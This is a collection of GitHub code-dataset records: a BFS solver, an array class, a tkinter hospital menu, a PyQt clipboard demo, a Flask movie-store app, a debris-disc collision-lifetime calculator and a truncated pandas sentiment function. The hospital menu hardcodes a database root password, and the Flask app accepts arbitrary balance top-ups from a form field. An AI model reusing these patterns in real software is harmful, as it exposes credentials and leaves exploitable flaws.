prompt_values\n)\nprint(f\"Predicted ejection fraction is {ejection_fraction_predictions.item():.1f}%\")\n","repo_name":"echonet/echo_CLIP","sub_path":"zero_shot_example.py","file_name":"zero_shot_example.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"}
+{"seq_id":"40898771327","text":"\nmove = [1, -1, 2]\ndef bfs(n):\n    global cnt, dist\n    visited = [0] * 100001\n    \n    Q = [n]\n    visited[n] = 1\n    while Q:\n        cur_n = Q.pop(0)\n        if cur_n == M:\n            return\n        for i in range(3):\n            if i == 2:\n                next_n = cur_n * move[2]\n            else:\n                next_n = cur_n + move[i]\n            if 0 > next_n or next_n >= 100001: continue\n            if not visited[next_n]:\n                visited[next_n] = 1\n                dist[next_n] = dist[cur_n] + 1\n                Q.append(next_n)\n\nN, M = map(int, input().split())\ndist = [0] * 100001\nbfs(N)\nprint(dist[M])","repo_name":"hksoftcorn/review","sub_path":"bfs+dfs/1697_숨바꼭질.py","file_name":"1697_숨바꼭질.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23271790600","text":"from string import Template\n\n\nclass TArray:\n    def __init__(self, array_to_copy=None, num=0, data=None):\n        if not array_to_copy:\n            self.num = num\n            self.data = [0] * self.num if not data else data\n\n        else:\n            self.num = array_to_copy.num\n            self.data = array_to_copy.data\n\n    def fill_index(self, data, index):\n        self.data[index] = data\n        return self\n\n    def sorted(self):\n        def switch(ind):\n            if self.data[ind] > self.data[ind + 1]:\n                buffer = self.data[ind + 1]\n                self.data[ind + 1] = self.data[ind]\n                self.data[ind] = buffer\n                return True\n            return False\n\n        switched = True\n        while switched:\n            switched = False\n            switched1, switched2 = False, False\n            for i in range(0, len(self.data) - 1, 2):\n                switched1 = switch(i)\n\n            for j in range(1, len(self.data) - 1, 2):\n                switched2 = switch(j)\n            switched = switched1 or switched2\n\n        return self\n\n    def min(self):\n        min_el = self.data[0]\n        for i in self.data[1:]:\n            if i < min_el:\n                min_el = i\n        return min_el\n\n    def max(self):\n        max_el = self.data[0]\n        for i in self.data[1:]:\n            if i > max_el:\n                max_el = i\n        return max_el\n\n    def sum(self):\n        s = 0\n        for i in self.data:\n            s += i\n        return s\n\n    def __add__(self, *data):\n        for i in data:\n            self.data.append(i)\n        self.num = len(self.data)\n        return self\n\n    def __mul__(self, other):\n        self.data = [i * other for i in self.data]\n        return self\n\n    def __str__(self):\n        template_string = 'TArray[$length]{$data}'\n\n        return Template(template_string).substitute(length=self.num, data=\", \".join(map(str, self.data)))\n","repo_name":"nataliadolina/FA_python_SQL","sub_path":"OOP/task_3_Array/TArray.py","file_name":"TArray.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"449314121","text":"import tkinter\r\nimport tkinter.messagebox\r\nfrom Patient_Registration import PAT\r\nfrom Room_Registration import Room_all\r\nfrom Billing_Form import BILLING\r\nfrom Employee_Registration import emp_screen\r\nfrom Appointment_Booking import appo\r\n\r\nimport mysql.connector\r\nmydb = mysql.connector.connect(\r\n    host='localhost',\r\n    user='root',\r\n    password='Sood@123',\r\n    database='HOSPITAL'\r\n\t)\r\n\r\nif mydb:\r\n    print('Connection successful !!!')\r\nelse:\r\n    print('Connection failed !!!')\r\n\r\nmycursor = mydb.cursor()\r\n\r\n#variables\r\nroot1=None\r\nrootp=None\r\npat_ID=None\r\npat_name=None\r\npat_dob=None\r\npat_address=None\r\npat_sex=None\r\npat_BG=None\r\npat_email=None\r\npat_contact=None\r\npat_contactalt=None\r\npat_CT=None\r\n\r\n\r\n#EXIT for MENU\r\ndef ex():\r\n    global root1\r\n    root1.destroy()\r\n\r\n#MENU BUTTONS\r\ndef menu():\r\n    global root1,button1,button2,button3,button4,button5,m,button6\r\n    root1=tkinter.Tk()\r\n    root1.geometry(\"450x350\")\r\n    root1.configure(background='cyan4')\r\n    root1.title(\"MAIN MENU\")\r\n    m=tkinter.Label(root1,text=\"ADMIN OPTIONS\",bg='white',fg='cyan4',font=\"Times 16 bold italic\",height=1)\r\n    button1 = tkinter.Button(root1, text=\"1. PATIENT REGISTRATION\",font=\"arial 12\",bg='gray25',fg='white',height=1,width=40,command=PAT)\r\n    button2 = tkinter.Button(root1, text=\"2. ROOM ALLOCATION\",font=\"arial 12\",bg='gray25',fg='white',height=1,width=40,command=Room_all)\r\n    button3 = tkinter.Button(root1, text=\"3. EMPLOYEE REGISTRATION\",font=\"arial 12\",bg='gray25',fg='white',height=1,width=40,command=emp_screen)\r\n    button4 = tkinter.Button(root1, text=\"4. BOOK APPOINTMENT\",font=\"arial 12\",bg='gray25',fg='white',height=1,width=40,command=appo)\r\n    button5 = tkinter.Button(root1, text=\"5. PATIENT BILL\",font=\"arial 12\",bg='gray25',fg='white',height=1,width=40,command=BILLING)\r\n    button6 = tkinter.Button(root1, text=\"6. EXIT\",font=\"arial 12\",bg='gray25',fg='white',height=1,width=40,command=ex)\r\n    m.place(x=0,y=0)\r\n    button1.place(x=50,y=50)\r\n    button2.place(x=50,y=100)\r\n    button3.place(x=50,y=150)\r\n    button4.place(x=50, y=200)\r\n    button5.place(x=50,y=250)\r\n    button6.place(x=50,y=300)\r\n    root1.mainloop()\r\n\r\n\r\n","repo_name":"shivamsood123/Hospital-management-system","sub_path":"Menu_Window.py","file_name":"Menu_Window.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9350023621","text":"#!/usr/bin/env python\r\n# Copyright (c) 2008 Qtrac Ltd. All rights reserved.\r\n# This program or module is free software: you can redistribute it and/or\r\n# modify it under the terms of the GNU General Public License as published\r\n# by the Free Software Foundation, either version 2 of the License, or\r\n# version 3 of the License, or (at your option) any later version. It is\r\n# provided for educational purposes and is distributed in the hope that\r\n# it will be useful, but WITHOUT ANY WARRANTY; without even the implied\r\n# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See\r\n# the GNU General Public License for more details.\r\n\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\nfrom __future__ import unicode_literals\r\nfrom future_builtins import *\r\n\r\nimport os\r\nimport sys\r\nfrom PyQt4.QtCore import (QMimeData, Qt, SIGNAL)\r\nfrom PyQt4.QtGui import (QApplication, QDialog, QGridLayout, QLabel,\r\n        QPixmap, QPushButton)\r\n\r\n\r\nclass Form(QDialog):\r\n\r\n    def __init__(self, parent=None):\r\n        super(Form, self).__init__(parent)\r\n\r\n        textCopyButton = QPushButton(\"&Copy Text\")\r\n        textPasteButton = QPushButton(\"Paste &Text\")\r\n        htmlCopyButton = QPushButton(\"C&opy HTML\")\r\n        htmlPasteButton = QPushButton(\"Paste &HTML\")\r\n        imageCopyButton = QPushButton(\"Co&py Image\")\r\n        imagePasteButton = QPushButton(\"Paste &Image\")\r\n        self.textLabel = QLabel(\"Original text\")\r\n        self.imageLabel = QLabel()\r\n        self.imageLabel.setPixmap(QPixmap(os.path.join(\r\n                os.path.dirname(__file__), \"images/clock.png\")))\r\n\r\n        layout = QGridLayout()\r\n        layout.addWidget(textCopyButton, 0, 0)\r\n        layout.addWidget(imageCopyButton, 0, 1)\r\n        layout.addWidget(htmlCopyButton, 0, 2)\r\n        layout.addWidget(textPasteButton, 1, 0)\r\n        layout.addWidget(imagePasteButton, 1, 1)\r\n        layout.addWidget(htmlPasteButton, 1, 2)\r\n        layout.addWidget(self.textLabel, 2, 0, 1, 2)\r\n        layout.addWidget(self.imageLabel, 2, 2)\r\n        self.setLayout(layout)\r\n\r\n        self.connect(textCopyButton, SIGNAL(\"clicked()\"), self.copyText)\r\n        self.connect(textPasteButton, SIGNAL(\"clicked()\"), self.pasteText)\r\n        self.connect(htmlCopyButton, SIGNAL(\"clicked()\"), self.copyHtml)\r\n        self.connect(htmlPasteButton, SIGNAL(\"clicked()\"), self.pasteHtml)\r\n        self.connect(imageCopyButton, SIGNAL(\"clicked()\"), self.copyImage)\r\n        self.connect(imagePasteButton, SIGNAL(\"clicked()\"),\r\n                     self.pasteImage)\r\n\r\n        self.setWindowTitle(\"Clipboard\")\r\n\r\n\r\n    def copyText(self):\r\n        clipboard = QApplication.clipboard()\r\n        clipboard.setText(\"I've been clipped!\")\r\n\r\n\r\n    def pasteText(self):\r\n        clipboard = QApplication.clipboard()\r\n        self.textLabel.setText(clipboard.text())\r\n\r\n\r\n    def copyImage(self):\r\n        clipboard = QApplication.clipboard()\r\n        clipboard.setPixmap(QPixmap(os.path.join(\r\n                os.path.dirname(__file__), \"images/gvim.png\")))\r\n\r\n    def pasteImage(self):\r\n        clipboard = QApplication.clipboard()\r\n        self.imageLabel.setPixmap(clipboard.pixmap())\r\n\r\n\r\n    def copyHtml(self):\r\n        mimeData = QMimeData()\r\n        mimeData.setHtml(\"<b>Bold and <font color=red>Red</font></b>\")\r\n        clipboard = QApplication.clipboard()\r\n        clipboard.setMimeData(mimeData)\r\n\r\n\r\n    def pasteHtml(self):\r\n        clipboard = QApplication.clipboard()\r\n        mimeData = clipboard.mimeData()\r\n        if mimeData.hasHtml():\r\n            self.textLabel.setText(mimeData.html())\r\n\r\n\r\napp = QApplication(sys.argv)\r\nform = Form()\r\nform.show()\r\napp.exec_()\r\n\r\n","repo_name":"ghosert/VimProject","sub_path":"pyqt/book_samples/chap10/clipboard.pyw","file_name":"clipboard.pyw","file_ext":"pyw","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":208,"dataset":"github-code","pt":"3"}
+{"seq_id":"23763455355","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom app import app\nfrom app import database\nfrom flask import render_template, request, url_for, redirect, session, make_response\nimport json\nimport os\nimport sys\nfrom random import randint\nfrom datetime import datetime\ncatalogue = database.db_pelisIndex()\npelis = database.db_pelisTotal()\n\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index', methods=['GET', 'POST'])\ndef index():\n    categoria = []\n    peliculasaux = []\n    peliculas = []\n    categoria_aux = database.db_getGeneros()\n    for elemento in categoria_aux:\n        categoria.append(elemento[0])\n\n    if request.method == 'POST' and (request.form['barraBusq'] != \"\" or request.form['genero'] != \"0\"):\n        for element in pelis:\n            flag=0\n            if request.form['barraBusq'].lower() in element['titulo'].lower():\n                for elemento2 in peliculasaux:\n                    if element['titulo']==elemento2['titulo']:\n                        flag=1\n                if flag==0:\n                    peliculasaux.append(element)\n        if request.form['genero'] == \"0\":\n                peliculas=peliculasaux\n        else:\n            for element in peliculasaux:\n                if request.form['genero'] == element['genero']:\n                    peliculas.append(element)\n\n        return render_template('index.html', title = \"Inicio\", movies=peliculas, generos=categoria)\n        \n    else:\n        return render_template('index.html', title = \"Inicio\", movies=catalogue, generos=categoria)\n\n@app.route('/detalle', methods=['GET', 'POST'])\ndef detalle():\n    id = int(request.args.get('id'))\n    generos = []\n    productos = []\n    productos = database.db_product(id)\n\n    if request.method == \"POST\":\n        ancarro(request.form['product'])\n\n    for elemento in pelis:\n        if elemento[\"id\"]==id:\n            generos.append(elemento[\"genero\"])\n    for elemento in pelis:\n        if elemento[\"id\"] == id:\n            return render_template('detalle.html', title = \"Detalle\", peli=elemento, generos=generos, productos=productos)\n    return redirect(url_for('index'))\n    \n\n@app.route('/carro')\ndef carro():\n    if 'usuario' not in session:\n        carro=[]\n        total = 0\n        if 'carro' in session:\n            carro=session['carro']\n            for elemento in carro:\n                total+=elemento['precio']\n        return render_template('carro.html', title = \"Carro\", movies=carro, precio=total)\n    else:\n        carro=[]\n        carro = database.db_carro(session['usuario'])\n        if len(carro)>0:\n            total = carro[0][5]\n        else:\n            total = 0\n        return render_template('carro.html', title = \"Carro\", movies=carro, precio=total)\n\n@app.route('/ancarro')\ndef ancarro(product):\n    if 'usuario' not in session:\n        catalogue_data = open(os.path.join(app.root_path,'catalogue/catalogue.json'), encoding=\"utf-8\").read()\n        catalogue = json.loads(catalogue_data)\n        if 'carro' not in session:\n            session['carro'] = []\n        carro=session['carro']\n        id = int(request.args.get('id'))\n        for elemento in catalogue['peliculas']:\n            if str(elemento['id']) == str(id):\n                carro.append(elemento)\n                session['carro']=carro\n                session.modified=True\n        return redirect(url_for('index'))\n    else:\n        movieid=request.args.get('id')\n        database.db_ancarro(product, movieid, session['usuario'])\n        return redirect(url_for('index'))\n\n@app.route('/elimcarro')\ndef elimcarro():\n    if 'usuario' not in session:\n        carro=session['carro']\n        id = int(request.args.get('id'))\n        for elemento in carro:\n            if str(elemento['id']) == str(id):\n                carro.remove(elemento)\n                session['carro']=carro\n                session.modified=True\n                return redirect(url_for('carro'))\n        return redirect(url_for('carro'))\n    else:\n        prod_id=request.args.get('id')\n        database.db_elimcarro(prod_id,  session['usuario'])\n        return redirect(url_for('carro'))\n\n\n@app.route('/confcarro')\ndef confcarro():\n    if 'usuario' not in session:\n        if 'usuario' not in session:\n            return redirect(url_for('login'))\n        if 'carro' not in session:\n            return redirect(url_for('carro'))\n\n        carro=session['carro']\n        userdir = \"usuarios/\" + session['usuario']\n        userdir = os.path.join(app.root_path,userdir)\n\n        catalogue_data = open(os.path.join(userdir,'historial.json'), encoding=\"utf-8\").read()\n        historial = json.loads(catalogue_data)\n\n        file = open(os.path.join(userdir,'data.dat'), \"r\")\n        lineas = file.readlines()\n        dineroU = int(lineas[4])\n        file.close()\n\n        dineroTo=0\n        for elemento in carro:\n            dineroTo+=elemento['precio']\n        if dineroU < dineroTo:\n            return redirect(url_for('carro'))\n\n        now=datetime.now()\n        for elemento in carro:\n            elemento['fecha'] = now.strftime('%d/%m/%Y %H:%M:%S')\n            historial['peliculas'].append(elemento)\n        session.pop('carro', None)\n\n        historialJason = open(os.path.join(userdir,'historial.json'), \"w\",encoding=\"utf-8\")\n        json.dump(historial, historialJason, indent=4)\n        historialJason.close()\n\n        dineroU-=dineroTo\n        lineas[4]=str(dineroU)\n\n        file = open(os.path.join(userdir,'data.dat'), \"w\")\n        file.writelines(lineas)\n        file.close()\n\n        return redirect(url_for('index'))\n    else:\n        return redirect(url_for('carro'))\n\n@app.route('/registrarse', methods=['GET', 'POST'])\ndef registrarse():\n    historial = {}\n    historial['peliculas'] = []\n    if request.method == 'POST':\n        usuario = request.form['NombUsInname']\n        correo = request.form['EmaiIlnname']\n        password = request.form['ContInname']\n        tarjeta = request.form['TarInname']\n        if len(database.db_check_Reg(correo)) <= 0:\n            database.db_registrarse(correo, usuario, password, tarjeta)\n\n            return redirect(url_for('index'))\n        else:\n            return render_template('registrarse.html', title = \"Registrarse\", errormsg =\"El usuario ya existe\")\n    return render_template('registrarse.html', title = \"Registrarse\")\n\n@app.route('/historial', methods=['GET', 'POST'])\ndef historial():\n    if 'usuario' not in session:\n        return redirect(url_for('login'))\n\n    userdir = \"usuarios/\" + session['usuario']\n    userdir = os.path.join(app.root_path,userdir)\n    userdat = os.path.join(userdir,\"data.dat\")\n    file = open(userdat, \"r\")\n    lineas = file.readlines()\n    dineroU = int(lineas[4])\n    file.close()\n    if request.method == 'POST':\n\n        dineroU+=int(request.form['saldo'])\n        lineas[4]=str(dineroU)\n\n        file = open(os.path.join(userdir,'data.dat'), \"w\")\n        file.writelines(lineas)\n        file.close()\n\n    catalogue_data = open(os.path.join(userdir,'historial.json'), encoding=\"utf-8\").read()\n    historial = json.loads(catalogue_data)\n    return render_template('historial.html', title = \"Historial\", historial=historial['peliculas'], dinero=dineroU)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    \n    if request.method == 'POST':\n        correo = request.form['username']\n        password = request.form['password']\n        query=database.db_login(correo, password)\n        if len(query)<=0:\n            return render_template('login.html', title = \"Inicio de sesion\", nombre = request.cookies.get('userID'))\n        else:\n            session['usuario'] = correo\n            session.modified=True\n            return redirect(url_for('index'))\n    return render_template('login.html', title = \"Inicio de sesion\", nombre = request.cookies.get('userID'))\n\n@app.route('/logout', methods=['GET', 'POST'])\ndef logout():\n    resp = make_response(redirect(url_for('index')))\n    resp.set_cookie('userID', session['usuario'])\n    session.pop('usuario', None)\n    session.pop('carro', None)\n    return resp\n\n@app.route('/genRand', methods=['GET', 'POST'])\ndef genRand():\n    return str(randint(69, 420))\n\n","repo_name":"SalvadorMartinBarcia/SI1","sub_path":"SI3/1362_Martin/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":8124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70223840081","text":"\n'''Program to calculate tauMax, the collisional lifetime of the largest\nbodies at a certain location in a debris disc, based on the model of\nLohne2008. By default the code uses the assumptions in Pearce2023\n(submitted) for various relations and parameters, for example the\ncritical fragmentation energy QD*, but these can be changed.\n\nTo use the code, simply set your desired parameters in the 'User Inputs'\nsection below, then run the code. This will print out tauMax, as well as\nsome intermediate calculations. Unless you want to change anything more\nmajor like the QD* function, nothing below the User Inputs section needs\nchanging.\n\nFeel free to use this code, and if the results go into a publication,\nthen please cite Lohne et al. 2008 and Pearce et al. 2023 (submitted).\nAlso, please let me know if you find any bugs or have any requests.'''\n\n############################### Libraries ###############################\nimport sys\nimport numpy as np\nimport math\n############################## User Inputs ##############################\n''' Parameters of the system. Feel free to change these; nothing outside\nthis section needs changing, unless you want e.g. a different QD*\nparameterisation'''\n\n# Star mass, in solar masses\nmStar_mSun = 2.\n\n# Radius of the largest debris body, in km\nsMax_km = 50.\n\n# Radial location, in au\nr_au = 13.22\n\n# Debris eccentricity\ne = 0.0433\n\n# Debris inclination, in radians\ni_rad = e/2.\n\n# Initial disc surface-density profile: xM*(r/au)^(-alpha) MEarth/au^2.\n# For the Minimum-Mass Solar Nebula, xM=1 and alpha=1.5\nxM = 1.\nalphaR = 1.5\n\n# Size-distribution slope in the gravity regime\nqg = 1.67751\n\n# Size-distribution slope in the primordial regime\nqp = 1.87\n\n# Debris material density, in grams per cm^3\nrho_gramPerCm3 = 3.5\n\n# Smallest dust size, in micron (provided sMin << sMax, this has very\n# little effect on tauMax)\nsMin_um = 2.\n\n# Number of digits after decimal point to print outputs\nnOutputDecimalPlaces = 4\n\n############# Constants (don't change anything below here!) #############\n# Gravitational constant * solar mass\nGMSun_au3PerYr2 = 4.*np.pi**2\n\n# Unit conversions\nkm_m = 1e3\nkm_cm = 1e5\ncm_um = 1e5\nau_km = 1.496e8\nau_cm = au_km * km_cm\n\nmEarth_gram = 5.972e27\nyr_s = 3.154e7\n\nGMSun_cm3PerS2 = GMSun_au3PerYr2 * au_cm**3 / yr_s**2\n\n########################### Physics functions ###########################\ndef GetTauMax_yr(sMax_km, r_au, e, i_rad, mStar_mSun):\n\t'''Return tauMax (Eq. 42 in Lohne2008). Note that the index -1 around\n\tthe square bracket in that paper is an error, and is omitted here;\n\tthis change has only a minor effect provided sMax >> sMin.'''\n\t\n\t# Get f\n\tf = GetF(e, i_rad)\n\t\n\t# Get QDStar\n\tqDStarForSMax_ergPerGram = GetQDStar_ergPerGram(sMax_km, r_au, f, mStar_mSun)\n\t\n\t# Get X_c(s,r)\n\txC = GetXc(qDStarForSMax_ergPerGram, r_au, mStar_mSun, f)\n\t\n\t# Get G(qg,s,r)\n\tg = GetG(qg, xC, sMax_km, sMax_km)\n\n\t# Get the initial surface-density at this radius\n\tinitialSDAtR_mEarthPerAu2 = GetInitialSDAtR_mEarthPerAu2(r_au, xM, alphaR)\n\n\t# Print out the calculated parameters\n\tPrintCalculatedParameters(f, qDStarForSMax_ergPerGram, xC, g, initialSDAtR_mEarthPerAu2)\n\t\t\n\t# If X_c >= 1 (i.e. G <= 0), tauMax is infinite\n\tif xC >= 1:\n\t\treturn np.inf\n\t\n\t# Get the initial mass at this radius, divided by the fractional \n\t# annulus width dr/r (done this way because dr/r cancels out in the\n\t# tauMax equation)\n\tm0DividedByDrOverR_gram = Getm0DividedByDrOverR_gram(initialSDAtR_mEarthPerAu2, r_au)\n\t\n\t# Get tauMax in seconds. Note dr/r cancels, because M0 is expressed \n\t# as divided by dr/r\n\tsMax_cm = sMax_km * km_cm\n\tr_cm = r_au * au_cm\n\t\n\ttauMax_s = 16.*np.pi*rho_gramPerCm3 / (3.*m0DividedByDrOverR_gram) * sMax_cm * r_cm**(7./2.) / (GMSun_cm3PerS2*mStar_mSun)**.5 * (qg-5./3.)/(2.-qp) * (1.-(sMin_um/cm_um/sMax_cm)**(6.-3*qp)) * i_rad/(f*g) \n\t\n\t# Convert to years\n\ttauMax_yr = tauMax_s / yr_s\n\t\n\treturn tauMax_yr\n\n#------------------------------------------------------------------------\ndef GetF(e, i_rad):\n\t'''Get the value f, from debris eccentricity and inclination\n\t(Eq. 23 in Lohne2008).'''\n\t\n\tf = (5./4.*e**2 + i_rad**2)**.5\n\t\n\treturn f\n\t\t\n#------------------------------------------------------------------------\ndef GetQDStar_ergPerGram(s_km, r_au, f, mStar_mSun):\n\t'''Get the critical fragmentation energy QDStar using the form of\n\tKrivov2018 (Eq. 1 in that paper).'''\n\t\n\t# Constants in equation\n\tv0_kmPerS = 3.\n\tAs_ergPerGram = 5e6\n\tBs_ergPerGram = 5e6\n\tbs = -0.12\n\tbg = 0.46\n\t\n\t# Calculate collision speed\t\n\tvCol_kmPerS = GetCollisionSpeed_kmPerS(mStar_mSun, r_au, f)\n\t\n\t# Get body radius in m\n\ts_m = s_km * km_m\n\t\n\t# Calculate QDStar\n\tqDStarForSMax_ergPerGram = (vCol_kmPerS/v0_kmPerS)**0.5 * (As_ergPerGram*s_m**(3.*bs) + Bs_ergPerGram*s_km**(3.*bg))\n\n\treturn qDStarForSMax_ergPerGram\n\t\n#------------------------------------------------------------------------\ndef GetCollisionSpeed_kmPerS(mStar_mSun, r_au, f):\n\t'''Get the collision speed.'''\n\n\t# Get the collision speed in au per year\n\tvCol_auPerYr = (GMSun_au3PerYr2*mStar_mSun/r_au)**.5 * f\n\t\n\t# Convert to km per sec\n\tvCol_kmPerS = vCol_auPerYr * au_km / yr_s\n\t\n\treturn vCol_kmPerS\n\t\n#------------------------------------------------------------------------\ndef GetXc(qDStarForSMax_ergPerGram, r_au, mStar_mSun, f):\n\t'''Gets the parameter X_c (Eq. 25 in Lohne2008).'''\n\t\t\n\t# Convert distance to cm\n\tr_cm = r_au * au_cm\n\n\txC = (2.*qDStarForSMax_ergPerGram * r_cm / (GMSun_cm3PerS2*mStar_mSun * f**2))**(1./3.)\n\t\n\treturn xC\n\t\n#------------------------------------------------------------------------\ndef GetG(q, xC, s_km, sMax_km):\n\t'''Gets the parameter G (Eq. 24 in Lohne2008).'''\n\t\n\tg = GetTermInG(q, xC, s_km, sMax_km, 5) + 2.*GetTermInG(q, xC, s_km, sMax_km, 4) + GetTermInG(q, xC, s_km, sMax_km, 3)\n\t\n\treturn g\n\n#------------------------------------------------------------------------\ndef GetTermInG(q, xC, s_km, sMax_km, nInTerm):\n\t'''Gets the one of the three sub-terms used to find the parameter G\n\t(Eq. 24 in Lohne2008).'''\n\t\n\t# Get n-3q\n\tnMinus3q = float(nInTerm) - 3.*q\n\n\t# Get the term in G\n\ttermInG = (5.-3.*q) / nMinus3q * (xC**nMinus3q - (sMax_km/s_km)**nMinus3q)\n\t\n\treturn termInG\n\n#------------------------------------------------------------------------\ndef GetInitialSDAtR_mEarthPerAu2(r_au, xM, alphaR):\n\t'''Get the initial surface density at this radial location. Assumes\n\tthe initial disc has a surface-density profile going as\n\t~xM * r^-alphaR, where for the Minimum-Mass Solar Nebula, xM=1,\n\talphaR=1.5 and SD(1au)=MEarth/au^2.'''\n\n\tinitialSDAtR_mEarthPerAu2 = xM * r_au**-alphaR\n\n\treturn initialSDAtR_mEarthPerAu2\n\t\n#------------------------------------------------------------------------\ndef Getm0DividedByDrOverR_gram(initialSDAtR_mEarthPerAu2, r_au):\n\t'''Get the initial mass at this radial location, divided by the\n\tfractional annulus width dr/r (done this way because dr/r cancels out \n\tin the tauMax equation).'''\n\n\t# Convert surface density to cgs\n\tinitialSDAtR_gramsPerCm2 = initialSDAtR_mEarthPerAu2 * mEarth_gram / au_cm**2\n\t\n\t# Convert the surface density to a mass, keeping the dr/r depedence\n\t# explicit\n\tr_cm = r_au * au_cm\n\t\n\tm0DividedByDrOverR_gram = 2.*np.pi*r_cm**2*initialSDAtR_gramsPerCm2\n\n\treturn m0DividedByDrOverR_gram\n\t\n########################### Printing functions ##########################\ndef\tPrintInputParameters():\n\t'''Prints out the program inputs'''\n\n\tprint('Input parameters:')\n\tprint('     Star mass: %s MSun' % mStar_mSun)\n\tprint('     sMax: %s km' % sMax_km)\n\tprint('     r: %s au' % r_au)\n\tprint('     e: %s' % e)\n\tprint('     i: %s deg' % GetNumberStringInScientificNotation(i_rad*180./np.pi, precision=nOutputDecimalPlaces))\n\tprint('     xM: %s' % xM)\n\tprint('     alphaR: %s' % alphaR)\n\tprint('     qg: %s' % qg)\n\tprint('     qp: %s' % qp)\n\tprint('     rho: %s gram / cm^3' % rho_gramPerCm3)\n\tprint('     sMin: %s um' % sMin_um)\n\t\n\tPrintEmptyLine()\n\n#------------------------------------------------------------------------\ndef\tPrintCalculatedParameters(f, QDStarForSMax_ergPerGram, xC, g, initialSDAtR_mEarthPerAu2):\n\t'''Prints out the parameters calculated in the program'''\n\n\tprint('Calculated parameters:')\n\tprint('     f: %s' % GetNumberStringInScientificNotation(f, precision=nOutputDecimalPlaces))\n\tprint('     QDStar: %s erg / gram' % GetNumberStringInScientificNotation(QDStarForSMax_ergPerGram, precision=nOutputDecimalPlaces))\n\tprint('     X_c: %s' % GetNumberStringInScientificNotation(xC, precision=nOutputDecimalPlaces))\n\tprint('     G: %s' % GetNumberStringInScientificNotation(g, precision=nOutputDecimalPlaces))\n\tprint('     Initial SD at r: %s MEarth/au^2' % GetNumberStringInScientificNotation(initialSDAtR_mEarthPerAu2, precision=nOutputDecimalPlaces))\n\n\tPrintEmptyLine()\n\t\n#------------------------------------------------------------------------\ndef GetNumberStringInScientificNotation(num, precision=None, exponent=None):\n\t'''Returns a string representation of the scientific notation of the\n\tgiven number formatted, with specified precision (number of decimal \n\tdigits to show). The exponent to be used can also be specified\n\texplicitly.\tAdapted from\n\thttps://stackoverflow.com/questions/18311909/how-do-i-annotate-with-power-of-ten-formatting.'''\n\n\t# Catch nans\n\tif math.isnan(num):\treturn np.nan\n\t\t\n\t# Default number of decimal digits (in case precision unspecified)\n\tdefaultDecimalDigits = 2\n\n\t# Get precision if not defined\n\tif precision is None:\n\t\tprecision = defaultDecimalDigits\n\t\t\t\n\t# Get exoponent if not defined\n\tif exponent is None:\n\t\n\t\t# Catch case if number is zero\n\t\tif num == 0:\n\t\t\texponent = 0\n\t\t\n\t\t# Otherwise number is non-zero\n\t\telse:\n\t\t\texponent = int(math.floor(np.log10(abs(num))))\n\t\n\t# Get the coefficient\n\tcoefficient = round(num / float(10**exponent), precision)\n\t\n\t# Adjust if rounding has taken coefficient to 10\n\tif coefficient == 10:\n\t\tcoefficient = 1\n\t\texponent += 1\n\t\n\t# Get the output string\n\toutString = '{0:.{2}f}e{1:d}'.format(coefficient, exponent, precision)\n\n\treturn outString\n\n#------------------------------------------------------------------------\ndef PrintEmptyLine():\n\t'''Print an empty line (done this way to enable compatibility across \n\tPython versions)'''\n\t\n\tif sys.version_info[0] < 3: print\n\telse: print()\n\n################################ Program ################################\nPrintEmptyLine()\n\n# Print input parameters\nPrintInputParameters()\n\n# Get tauMax\ntauMax_yr = GetTauMax_yr(sMax_km, r_au, e, i_rad, mStar_mSun)\n\n# Print the result\nif math. isinf(tauMax_yr):\n\ttauMaxString = 'infinite (debris-excitation level too low to destroy largest bodies)'\n\nelse:\n\ttauMaxString = '%s yr' % GetNumberStringInScientificNotation(tauMax_yr, precision=nOutputDecimalPlaces)\n\nprint('tauMax: %s' % tauMaxString)\n\t\nPrintEmptyLine()\n\n#########################################################################\n\n","repo_name":"TimDPearce/GetTauMax","sub_path":"getTauMax.py","file_name":"getTauMax.py","file_ext":"py","file_size_in_byte":10779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7830461449","text":"import pandas as pd\nimport datetime as dt\nimport sys\n\ndef get_grouped_df(source, df):\n\t# print('\\n-- get_grouped_df -- ')\n\n\tdf = df.loc[:, ~df.columns.str.contains('^Unnamed')]\n\tdf.loc[:, 'post_date'] = pd.to_datetime(df['post_date'], unit='s').dt.date\t\n\n\tcols = ['positive_'+source, 'negative_'+source, 'neutral_'+source, 'count_'+source]\n\n\tgrouped_df = pd.DataFrame([], columns=cols)\n\n\tgrouped_df['count_'+source] = df['prediction'].groupby(df['post_date']).count()\n\n\tgrouped_df[['negative_'+source,'neutral_'+source,'positive_'+source]] = \\\n\t\tdf.groupby(['post_date','prediction'], as_index=False)\\\n\t\t\t.size()\\\n\t\t\t.pivot(index='post_date', columns='prediction', values='size')\\\n\t\t\t\t[['negative','neutral','positive']]\\\n\t\t\t.fillna(0)\n\n\tif source == 'twitter':\n\t\tgrouped_df['comment_num_'+source] = df.groupby(['post_date']).agg({'comment_num':'sum'})['comment_num']\n\t\tgrouped_df['retweet_num_'+source] = df.groupby(['post_date']).agg({'retweet_num':'sum'})['retweet_num']\n\t\tgrouped_df['like_num_'+source] = df.groupby(['post_date']).agg({'like_num':'sum'})['like_num']\n\n\tif source == 'reddit':\n\t\tgrouped_df['comment_num_'+source] = df.groupby(['post_date']).agg({'comment_num':'sum'})['comment_num']\n\n\tgrouped_df[['positive_'+source, 'negative_'+source, 'neutral_'+source]] = \\\n\tgrouped_df[['positive_'+source, 'negative_'+source, 